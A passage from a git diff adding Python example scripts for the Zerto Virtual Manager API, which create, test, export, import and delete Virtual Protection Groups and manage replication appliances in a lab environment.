damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Failover Example Script + +This script demonstrates how to perform parallel failover tests for multiple Virtual Protection Groups (VPGs) +using the Zerto Virtual Manager (ZVM) API. It showcases complete VPG lifecycle management from creation +to testing and cleanup. + +Key Features: +1. Site Management: + - Connect to protected site + - Retrieve local and peer site identifiers + - Manage cross-site replication using peer site information + +2. VPG Operations: + - Create multiple VPGs with custom settings + - Add VMs to VPGs + - Monitor initial synchronization + - Create checkpoints + - Run parallel failover tests + - Generate test reports + - Clean up resources + +3. Resource Management: + - Identify and select peer site datastores + - Configure peer site hosts and networks + - Set up peer site resource pools + - Manage VM folders + - Monitor volume replication + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vpg_failover_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script requires credentials only for the protected site. All recovery site information +is retrieved using the peer site API, eliminating the need for direct access to the recovery site. +Resource identifiers and configuration details for both sites are managed through the protected +site's ZVM API. + +Script Flow: +1. Connects to protected site ZVM +2. Gets local and peer site information +3. Creates two VPGs in parallel: + - VpgTest1 protecting VM 'SmallCentOS' + - VpgTest2 protecting VM 'light-vm1' +4. Waits for both VPGs to reach MeetingSLA status +5. Performs parallel failover tests +6. Waits for user confirmation to stop tests +7. Stops failover tests in parallel +8. Generates test reports +9. Cleans up by deleting both VPGs +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient +import time +from zvml.common import ZertoVPGStatus, ZertoVPGSubstatus +from zvml.recovery_reports import RecoveryReports +import threading +from concurrent.futures import ThreadPoolExecutor, as_completed + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +#name sure the api client lifespan settion is complete the initial sync, in my case I set it to 3600 seconds + +def setup_clients(args): + """ + Initialize and return Zerto clients and their local site identifiers for both sites + + Args: + args: Parsed command line arguments + + Returns: + tuple: (zvm_client, client2, local_site1_id, local_site2_id) + """ + # Create clients for both sites + zvm_client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + #get all virtualization sites + virtualization_sites = zvm_client.virtualization_sites.get_virtualization_sites() + logging.info(f"Virtualization Sites: {json.dumps(virtualization_sites, indent=4)}") + + # Get local site ids + local_site_identifier = zvm_client.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"Site 1 Local Site ID: {local_site_identifier}") + + #peer_site_identifier is site in the list that is not the local site + peer_site_identifier = next((site['SiteIdentifier'] for site in virtualization_sites if site['SiteIdentifier'] != local_site_identifier), None) + logging.info(f"Site 2 Local Site ID: {peer_site_identifier}") + + return zvm_client, local_site_identifier, peer_site_identifier + +def construct_vpg_settings(vpg_name, local_site_identifier, peer_site_identifier, site2_datastore_identifier, + site2_host_identifier, resource_pool_identifier, site2_folder_identifier, site2_network_identifier): + basic = { + "Name": vpg_name, + "VpgType": "Remote", + "RpoInSeconds": 300, + "JournalHistoryInHours": 1, + "Priority": "Medium", + "UseWanCompression": True, + "ProtectedSiteIdentifier": local_site_identifier, + "RecoverySiteIdentifier": peer_site_identifier + } + + # Fill journal structure + journal = { + "DatastoreIdentifier": site2_datastore_identifier, + "Limitation": { + "HardLimitInMB": 153600, + "WarningThresholdInMB": 115200 + } + } + + # Fill recovery structure + recovery = { + "DefaultHostIdentifier": site2_host_identifier, + "DefaultDatastoreIdentifier": site2_datastore_identifier, + "DefaultResourcePoolIdentifier": resource_pool_identifier, + "DefaultFolderIdentifier": site2_folder_identifier + } + + # Fill Networks structure + networks = { + "Failover": { + "Hypervisor": { + "DefaultNetworkIdentifier": site2_network_identifier + } + }, + "FailoverTest": { + "Hypervisor": { + "DefaultNetworkIdentifier": site2_network_identifier + } + } + } + + return basic, journal, recovery, networks + +def perform_failover_test(client, vpg_name): + """Execute failover test for a single VPG and get its report""" + try: + task_id = client.vpgs.failover_test(vpg_name) + logging.info(f"Failover test started for VPG {vpg_name}, task ID: {task_id}") + + # Wait for task completion + client.tasks.wait_for_task_completion(task_id) + + # Get the latest failover test report + latest_report = client.recovery_reports.get_latest_failover_test_report(vpg_name) + if latest_report: + logging.info(f"Failover test completed for VPG {vpg_name}") + return vpg_name, latest_report + return vpg_name, None + except Exception as e: + logging.error(f"Error in failover test for VPG {vpg_name}: {e}") + raise + +def run_parallel_failover_tests(client, vpg_names): + """Run failover tests in parallel for multiple VPGs""" + logging.info(f"Starting parallel failover tests for VPGs: {vpg_names}") + + with ThreadPoolExecutor(max_workers=len(vpg_names)) as executor: + # Submit all failover tasks + future_to_vpg = { + executor.submit(perform_failover_test, client, vpg_name): vpg_name + for vpg_name in vpg_names + } + + # Wait for all tasks to complete and collect results + results = {} + for future in as_completed(future_to_vpg): + vpg_name = future_to_vpg[future] + try: + vpg_name, report = future.result() + results[vpg_name] = report + logging.info(f"Completed failover test for VPG {vpg_name}") + except Exception as e: + logging.error(f"Failover test failed for VPG {vpg_name}: {e}") + results[vpg_name] = None + + return results + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + # parser.add_argument("--site2_address", required=True, help="Site 2 ZVM address") + # parser.add_argument('--site2_client_id', required=True, help='Site 2 Keycloak client ID') + # parser.add_argument('--site2_client_secret', required=True, help='Site 2 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + logging.basicConfig(level=logging.DEBUG) + + try: + vpg_structure = [ + { + 'vpg_name': 'VpgTest1', + 'vm_name': 'SmallCentOS' + }, + { + 'vpg_name': 'VpgTest2', + 'vm_name': 'light-vm1' + } + ] + + # Setup clients and get site identifiers + zvm_client, local_site_identifier, peer_site_identifier = setup_clients(args) + + # Get datastore identifier from site 2 using ZVM API + site2_datastores = zvm_client.virtualization_sites.get_virtualization_site_datastores( + site_identifier=peer_site_identifier + ) + selected_datastore = next((ds for ds in site2_datastores if ds.get('DatastoreName') == "DS_VM_Right"), None) + site2_datastore_identifier = selected_datastore.get('DatastoreIdentifier') + logging.info(f"Site 2 Datastore ID: {site2_datastore_identifier}") + + # Get host identifier from site 2 using ZVM API + site2_hosts = zvm_client.virtualization_sites.get_virtualization_site_hosts( + site_identifier=peer_site_identifier + ) + # logging.info(f"Site 2 Hosts: {site2_hosts}") + # Get the first host from the list + selected_host = site2_hosts[0] + site2_host_identifier = selected_host.get('HostIdentifier') + # logging.info(f"Site 2 Host ID: {site2_host_identifier}") + + # Get resource pools from site 2 using ZVM API + resource_pools = zvm_client.virtualization_sites.get_virtualization_site_resource_pools( + site_identifier=peer_site_identifier + ) + if resource_pools: + resource_pool_identifier = resource_pools[0].get('ResourcePoolIdentifier') + logging.info(f"Resource Pool ID: {resource_pool_identifier}") + else: + logging.error("No resource pools found on site 2.") + return + + # Get networks from site 2 using ZVM API + networks = zvm_client.virtualization_sites.get_virtualization_site_networks( + site_identifier=peer_site_identifier + ) + if networks: + site2_network_identifier = networks[0].get('NetworkIdentifier') + logging.info(f"Network ID: {site2_network_identifier}") + else: + logging.error("No networks found on site 2.") + return + + # Get folders from site 2 using ZVM API + folders = zvm_client.virtualization_sites.get_virtualization_site_folders( + site_identifier=peer_site_identifier + ) + for folder in folders: + if folder.get('FolderName') == '/': + site2_folder_identifier = folder.get('FolderIdentifier') + logging.info(f"Folder ID: {site2_folder_identifier}") + break + + # Get VMs from site 1 using ZVM API + site_1_vms = zvm_client.virtualization_sites.get_virtualization_site_vms( + site_identifier=local_site_identifier + ) + logging.info(f"Found {len(site_1_vms)} VMs on site 1") + + def create_vpg_with_vm(vpg_config): + """Create a VPG and add a VM to it""" + try: + vpg_name = vpg_config['vpg_name'] + vm_name = vpg_config['vm_name'] + + # Create VPG settings + basic, journal, recovery, networks = construct_vpg_settings( + vpg_name, local_site_identifier, peer_site_identifier, + site2_datastore_identifier, site2_host_identifier, + resource_pool_identifier, site2_folder_identifier, site2_network_identifier + ) + + # Create VPG + vpg_id = zvm_client.vpgs.create_vpg( + basic=basic, journal=journal, recovery=recovery, networks=networks, sync=True + ) + logging.info(f"VPG {vpg_name} created successfully with ID: {vpg_id}") + + # Find and add VM to VPG + vm = next((vm for vm in site_1_vms if vm.get('VmName') == vm_name), None) + if vm: + vm_payload = { + "VmIdentifier": vm.get('VmIdentifier'), + "Recovery": { + "HostIdentifier": site2_host_identifier, + "DatastoreIdentifier": site2_datastore_identifier, + "FolderIdentifier": site2_folder_identifier + } + } + task_id = zvm_client.vpgs.add_vm_to_vpg(vpg_name, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm_name} to VPG {vpg_name}") + return vpg_name, vpg_id + else: + logging.error(f"VM {vm_name} not found") + return vpg_name, None + except Exception as e: + logging.error(f"Error creating VPG {vpg_name}: {e}") + return vpg_name, None + + # Create VPGs in parallel + with ThreadPoolExecutor(max_workers=len(vpg_structure)) as executor: + # Submit all VPG creation tasks + future_to_vpg = { + executor.submit(create_vpg_with_vm, vpg_config): vpg_config + for vpg_config in vpg_structure + } + + # Wait for all tasks to complete + created_vpgs = [] + for future in as_completed(future_to_vpg): + vpg_name, vpg_id = future.result() + if vpg_id: + created_vpgs.append(vpg_name) + logging.info(f"Successfully created VPG {vpg_name}") + + # Wait for all VPGs to reach MeetingSLA status + if created_vpgs: + logging.info("Waiting for VPGs to reach MeetingSLA status...") + while True: + all_vpgs_ready = True + for vpg_name in created_vpgs: + vpg_info = zvm_client.vpgs.list_vpgs(vpg_name=vpg_name) + status = vpg_info.get('Status') + substatus = vpg_info.get('SubStatus') + logging.info(f"VPG {vpg_name} - Status: {ZertoVPGStatus.get_name_by_value(status)}, " + f"SubStatus: {ZertoVPGSubstatus.get_name_by_value(substatus)}") + + if not ((status == ZertoVPGStatus.MeetingSLA.value and + (substatus == ZertoVPGSubstatus.Sync.value or substatus == ZertoVPGSubstatus.NONE.value)) or + (status == ZertoVPGStatus.HistoryNotMeetingSLA.value)): + all_vpgs_ready = False + break + + if all_vpgs_ready: + logging.info("All VPGs are now meeting SLA") + break + + logging.info("Waiting for VPGs to reach MeetingSLA status...") + time.sleep(30) # Wait 30 seconds before checking again + + input("Press Enter to start parallel failover tests for both VPGs...") + + # Run parallel failover tests + failover_results = run_parallel_failover_tests(zvm_client, created_vpgs) + logging.info(f"Failover results: {json.dumps(failover_results, indent=4)}") + + input("Press Enter to stop failover tests and rollback both VPGs...") + + # Stop failover tests in parallel + with ThreadPoolExecutor(max_workers=len(created_vpgs)) as executor: + futures = [ + executor.submit(zvm_client.vpgs.stop_failover_test, vpg_name) + for vpg_name in created_vpgs + ] + for future in as_completed(futures): + try: + task_id = future.result() + logging.info(f"Failover test stop initiated, task ID: {task_id}") + except Exception as e: + logging.error(f"Error stopping failover test: {e}") + + # After running failover tests + for vpg_name in created_vpgs: + # Get the latest failover test report + latest_report = zvm_client.recovery_reports.get_latest_failover_test_report(vpg_name) + if latest_report: + logging.info(f"Failover test report for {vpg_name} latest_report=:{json.dumps(latest_report, indent=4)}") + + input("Press Enter to delete both VPGs...") + + # Delete both VPGs + zvm_client.vpgs.delete_vpg(created_vpgs[0], force=True, keep_recovery_volumes=False) + logging.info(f"VPG {created_vpgs[0]} deleted successfully.") + + zvm_client.vpgs.delete_vpg(created_vpgs[1], force=True, keep_recovery_volumes=False) + logging.info(f"VPG {created_vpgs[1]} deleted successfully.") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_setting_export_example.py b/examples/vpg_setting_export_example.py new file mode 100644 index 0000000..27ca55d --- /dev/null +++ b/examples/vpg_setting_export_example.py @@ -0,0 +1,181 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Settings Export/Import Example Script + +This script demonstrates how to export and import Virtual Protection Group (VPG) settings +using the Zerto Virtual Manager (ZVM) API. It allows for backup and restoration of VPG +configurations, which is useful for disaster recovery planning and VPG replication. + +Key Features: +1. VPG Settings Export: + - Export settings for specific VPGs or all VPGs + - Save exported settings to a JSON file + - Include all VPG configuration parameters + - Capture recovery site mappings + +2. Settings Verification: + - List all available exported settings + - Read and display detailed settings + - Show summary of exported VPG configurations + - Verify export timestamp and status + +3. VPG Settings Import: + - Import settings back to create new VPGs + - Restore original VPG configurations + - Support for multiple VPGs in single operation + - Validate import results + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + --vpg_names: Comma-separated list of VPG names to export (optional) + --output_file: File path to save exported settings (optional) + +Example Usage: + python examples/vpg_setting_export_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --vpg_names "VpgTest1,VpgTest2" \ + --output_file "vpg_settings.json" \ + --ignore_ssl + +Script Flow: +1. Connects to protected site ZVM +2. Exports VPG settings: + - For specified VPGs if vpg_names provided + - For all VPGs if no vpg_names specified +3. Saves settings to file if output_file specified +4. Verifies export by reading settings +5. Displays VPG configuration summaries: + - VPG names + - Source and target sites + - RPO and journal history +6. Pauses for manual VPG deletion +7. Imports settings to recreate VPGs +8. Verifies import success + +Note: This script requires only protected site credentials. It's designed for VPG +configuration backup and restore scenarios, allowing you to quickly recreate VPGs +with identical settings after changes or in disaster recovery situations. +""" +import argparse +import logging +logging.basicConfig( + level=logging.DEBUG, + format='%(asctime)s - %(levelname)s - %(message)s' +) +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warningss +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def main(): + parser = argparse.ArgumentParser(description="Export and Import VPG settings example") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vpg_names", help="Comma-separated list of VPG names to export settings for") + parser.add_argument("--output_file", help="Optional file to save the exported settings") + args = parser.parse_args() + + try: + # Setup client + client = setup_client(args) + + # If no VPG names provided, get all VPGs + if not args.vpg_names: + vpgs = client.vpgs.list_vpgs() + vpg_names = [vpg['VpgName'] for vpg in vpgs] + logging.info(f"No VPG names provided, exporting all {len(vpg_names)} VPGs") + else: + # Split the comma-separated string and strip whitespace + vpg_names = [name.strip() for name in args.vpg_names.split(',')] + logging.info(f"Exporting settings for VPGs: {vpg_names}") + + # Step 1: Export VPG settings + print("\nStep 1: Exporting VPG settings...") + result = client.vpgs.export_vpg_settings(vpg_names) + + print("Export Result:") + print(f"Timestamp: {result.get('TimeStamp')}") + print(f"Result: {result.get('ExportResult', {}).get('Result')}") + print(f"Message: {result.get('ExportResult', {}).get('Message')}") + + # Save to file if specified + if args.output_file: + with open(args.output_file, 'w') as f: + json.dump(result, f, indent=2) + print(f"\nExported settings saved to: {args.output_file}") + + # Step 2: Verify export and read settings + print("\nStep 2: Reading exported settings...") + exported_settings = client.vpgs.list_exported_vpg_settings() + export_timestamp = result.get('TimeStamp', '').split('.')[0] + '.000Z' + + if any(setting.get('TimeStamp') == export_timestamp for setting in exported_settings): + print(f"Found export with timestamp {export_timestamp}") + settings = client.vpgs.read_exported_vpg_settings(export_timestamp) + + # Display summary of exported VPG settings + vpg_settings = settings.get('ExportedVpgSettingsApi', []) + print(f"\nFound settings for {len(vpg_settings)} VPGs:") + for vpg in vpg_settings: + basic = vpg.get('Basic', {}) + print(f"\nVPG Name: {basic.get('Name')}") + print(f"Source Site: {vpg.get('SourceSiteName')}") + print(f"Target Site: {vpg.get('TargetSiteName')}") + print(f"RPO (seconds): {basic.get('RpoInSeconds')}") + print(f"Journal History (hours): {basic.get('JournalHistoryInHours')}") + + #pause + input("Delte VPG manually and Press Enter to continue...") + + # Step 3: Import the settings back + print("\nStep 3: Importing VPG settings...") + import_result = client.vpgs.import_vpg_settings(settings) + print("\nImport Result:") + print(f"Result: {import_result.get('Result')}") + print(f"Message: {import_result.get('Message')}") + if import_result.get('VpgSettingsIds'): + print(f"Created VPG Settings IDs: {', '.join(import_result.get('VpgSettingsIds'))}") + + #pause + input("Look at the VPG and verify whether the manual channges are reverted back to the original settings. Press Enter to continue...") + else: + print(f"\nWarning: Export with timestamp {export_timestamp} not found in exported settings list") + + except Exception as e: + logging.exception("Error occurred:") + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_vms_example.py b/examples/vpg_vms_example.py new file mode 100644 index 0000000..8792855 --- /dev/null +++ b/examples/vpg_vms_example.py @@ -0,0 +1,304 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. +""" +Zerto VPG VM Management Example Script + +This script demonstrates how to manage Virtual Machines (VMs) within Virtual Protection Groups (VPGs) +using the Zerto Virtual Manager (ZVM) API. It showcases VPG creation, VM addition/removal, and cleanup. + +Key Features: +1. Site Management: + - Connect to protected site + - Retrieve local and peer site identifiers + - Manage cross-site replication using peer site information + +2. VPG Operations: + - Create multiple VPGs with custom settings + - Add multiple VMs to a VPG + - Remove VMs from VPGs + - Move VMs between VPGs + - Clean up resources + +3. Resource Management: + - Identify and select peer site datastores, hosts, networks, folders and resource pools + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vpg_vms_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script requires credentials only for the protected site. All recovery site information +is retrieved using the peer site API, eliminating the need for direct access to the recovery site. + +Script Flow: +1. Connects to protected site ZVM +2. Gets local and peer site information +3. Creates first VPG 'VpgTest1' +4. Adds two VMs (vm1 and vm2) to first VPG +5. Removes vm1 from first VPG +6. Creates second VPG 'VpgTest2' +7. Adds removed VM (vm1) to second VPG +8. Cleans up by deleting both VPGs +""" + +import logging +# Configure logging before any other imports or code +logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' +) + +import argparse +import urllib3 +import json +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_clients(args): + """ + Initialize and return Zerto clients and their local site identifiers for both sites + + Args: + args: Parsed command line arguments + + Returns: + tuple: (client1, local_site1_id, local_peer_id) + """ + # Create clients for both sites + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + return client + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="Site 1 ZVM address") + parser.add_argument('--client_id', required=True, help='Site 1 Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Site 1 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + parser.add_argument("--vm1", required=True, help="Name of first VM to protect") + parser.add_argument("--vm2", required=True, help="Name of second VM to protect") + args = parser.parse_args() + + try: + # Setup clients and get site identifiers + client1 = setup_clients(args) + + virtualization_sites = client1.virtualization_sites.get_virtualization_sites() + logging.debug(f"Virtualization Sites: {json.dumps(virtualization_sites, indent=4)}") + + # Get local site ids + local_site_identifier = client1.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"Site 1 Local Site ID: {local_site_identifier}") + + peer_site_identifier = next((site['SiteIdentifier'] for site in virtualization_sites if site['SiteIdentifier'] != local_site_identifier), None) + logging.info(f"Site 2 Local Site ID: {peer_site_identifier}") + + # Get datastore identifier from site 2 + peer_datastores = client1.virtualization_sites.get_virtualization_site_datastores( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Datastores: {json.dumps(peer_datastores, indent=4)}") + + selected_datastore = next((ds for ds in peer_datastores if ds.get('DatastoreName') == "DS_VM_Right"), None) + peer_datastore_identifier = selected_datastore.get('DatastoreIdentifier') + logging.info(f"Site 2 Datastore ID: {peer_datastore_identifier}") + + # Fill basic VPG settings info + vpg_name = 'VpgTest1' + basic = { + "Name": vpg_name, + "VpgType": "Remote", + "RpoInSeconds": 300, + "JournalHistoryInHours": 1, + "Priority": "Medium", + "UseWanCompression": True, + "ProtectedSiteIdentifier": local_site_identifier, + "RecoverySiteIdentifier": peer_site_identifier + } + # Fill journal structure + journal = { + "DatastoreIdentifier": peer_datastore_identifier, + "Limitation": { + "HardLimitInMB": 153600, + "WarningThresholdInMB": 115200 + } + } + + resource_pools = client1.virtualization_sites.get_virtualization_site_resource_pools( + site_identifier=peer_site_identifier + ) + logging.debug(f"Resource Pools: {json.dumps(resource_pools, indent=4)}") + + # Extract resource pool identifier from the first resource pool on the list + if resource_pools: + resource_pool_identifier = resource_pools[0].get('Identifier') + logging.info(f"Resource Pool Identifier from the first resource pool: {resource_pool_identifier}") + else: + logging.error("No resource pools found on site 2.") + return + + # List networks from peer site + networks_list = client1.virtualization_sites.get_virtualization_site_networks( + site_identifier=peer_site_identifier + ) + logging.debug(f"Networks: {json.dumps(networks_list, indent=4)}") + + # Extract network identifier from the first network on the list + if networks_list: + network_identifier = networks_list[0].get('NetworkIdentifier') + logging.info(f"Network Identifier from the first network: {network_identifier}") + else: + logging.error("No networks found on site 2.") + return + + #list folders from peer + folders = client1.virtualization_sites.get_virtualization_site_folders( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Folders: {json.dumps(folders, indent=4)}") + + for folder in folders: + if folder.get('FolderName') == '/': + peer_folder_identifier = folder.get('FolderIdentifier') + logging.info(f"Folder Identifier: {peer_folder_identifier}") + break + + peer_hosts = client1.virtualization_sites.get_virtualization_site_hosts( + site_identifier=peer_site_identifier + ) + logging.debug(f"Site 2 Hosts: {json.dumps(peer_hosts, indent=4)}") + + # get the second host from the list + peer_site_host_identifier = peer_hosts[1].get('HostIdentifier') + logging.info(f"Host Identifier from the second host: {peer_site_host_identifier}") + + # Fill recovery structure + recovery = { + "DefaultHostIdentifier": peer_site_host_identifier, + "DefaultDatastoreIdentifier": peer_datastore_identifier, + "DefaultResourcePoolIdentifier": resource_pool_identifier, + "DefaultFolderIdentifier": peer_folder_identifier + } + + # Fill Networks structure + networks = { + "Failover": { + "Hypervisor": { + "DefaultNetworkIdentifier": network_identifier + } + }, + "FailoverTest": { + "Hypervisor": { + "DefaultNetworkIdentifier": network_identifier + } + } + } + + input("Press Enter to create the first VPG...") + + vpg_id = client1.vpgs.create_vpg(basic=basic, journal=journal, + recovery=recovery, networks=networks, sync=True) + logging.info(f"VPG ID: {vpg_id} created successfully.") + + # Add VMs to the first VPG + vms = client1.virtualization_sites.get_virtualization_site_vms( + site_identifier=local_site_identifier + ) + logging.debug(f"Site 1 VMs: {json.dumps(vms, indent=4)}") + + vms_to_add = [args.vm1, args.vm2] + vm_list = [] + for vm in vms: + logging.info(f"VM: Name={vm.get('VmName')}, VM Identifier={vm.get('VmIdentifier')}") + if vm.get('VmName') in vms_to_add: + logging.info(f"Adding VM {vm.get('VmName')} to VPG...") + vm_payload = { + "VmIdentifier": vm.get('VmIdentifier'), + "Recovery": { + "HostIdentifier": peer_site_host_identifier, + "DatastoreIdentifier": peer_datastore_identifier, + "FolderIdentifier": peer_folder_identifier + } + } + vm_list.append(vm_payload) + task_id = client1.vpgs.add_vm_to_vpg(vpg_name, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm.get('VmName')} to VPG.") + + input(f"Press Enter to remove {args.vm1} VM from the first VPG...") + + # Remove first VM from the first VPG + vm_to_remove = args.vm1 + vm_identifier_to_remove = None + for vm in vms: + if vm.get('VmName') == vm_to_remove: + vm_identifier_to_remove = vm.get('VmIdentifier') + task_id = client1.vpgs.remove_vm_from_vpg(vpg_name, vm_identifier_to_remove) + logging.info(f"Task ID: {task_id} to remove VM {vm_to_remove} from VPG {vpg_name}") + break + + input("Press Enter to create second VPG...") + + # Create second VPG + vpg_name_2 = 'VpgTest2' + basic['Name'] = vpg_name_2 # Update VPG name for second VPG + + vpg_id_2 = client1.vpgs.create_vpg(basic=basic, journal=journal, + recovery=recovery, networks=networks, sync=True) + logging.info(f"Second VPG ID: {vpg_id_2} created successfully.") + + # Add the removed VM to the second VPG + if vm_identifier_to_remove: + vm_payload = { + "VmIdentifier": vm_identifier_to_remove, + "Recovery": { + "HostIdentifier": peer_site_host_identifier, + "DatastoreIdentifier": peer_datastore_identifier, + "FolderIdentifier": peer_folder_identifier + } + } + task_id = client1.vpgs.add_vm_to_vpg(vpg_name_2, vm_list_payload=vm_payload) + logging.info(f"Task ID: {task_id} to add VM {vm_to_remove} to VPG {vpg_name_2}") + + except Exception as e: + logging.exception("Error:") + logging.error(f"Error: {e}") + + + # wait for user input to continue + input("Press Enter to delete the VPGs...") + + # Delete the VPGs + client1.vpgs.delete_vpg(vpg_name, force=True, keep_recovery_volumes=False) + logging.info(f"VPG {vpg_name} deleted successfully.") + client1.vpgs.delete_vpg(vpg_name_2, force=True, keep_recovery_volumes=False) + logging.info(f"VPG {vpg_name_2} deleted successfully.") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vras_example.py b/examples/vras_example.py new file mode 100644 index 0000000..a26a47d --- /dev/null +++ b/examples/vras_example.py @@ -0,0 +1,262 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtual Replication Appliance (VRA) Management Example Script + +This script demonstrates how to manage VRAs using the Zerto Virtual Manager (ZVM) API. +It showcases VRA deployment, configuration, and cleanup operations. + +Key Features: +1. VRA Management: + - List existing VRAs and their details + - Delete existing VRAs + - Deploy new VRAs with custom configurations + - Monitor VRA deployment status + +2. Resource Selection: + - Interactive selection of hosts + - Interactive selection of datastores + - Interactive selection of networks + - Custom IP configuration for VRAs + +3. Parallel Operations: + - Deploy multiple VRAs simultaneously + - Delete multiple VRAs in parallel + - Monitor multiple VRA operations + +Required Arguments: + --zvm_address: ZVM server address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vras_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Script Flow: +1. Lists all existing VRAs and their details +2. Optionally deletes all existing VRAs +3. Creates new VRAs with user-selected resources: + - First VRA with IP 192.168.111.30 + - Second VRA with IP 192.168.111.31 (optional) +4. Verifies final VRA configuration + +Note: This script includes interactive prompts for resource selection and operation +confirmation. It demonstrates proper error handling and logging for VRA management +operations. +""" + +#!/usr/bin/python3 +import argparse +import logging +# logging.basicConfig(level=logging.DEBUG) +import urllib3 +import json +import sys +import os +import time +from typing import Dict, List +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def setup_client(args): + """Initialize and return Zerto client""" + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + return client + +def get_user_confirmation(prompt: str) -> bool: + """Get user confirmation for an action""" + while True: + response = input(f"\n{prompt} (yes/no): ").lower().strip() + if response in ['yes', 'y']: + return True + 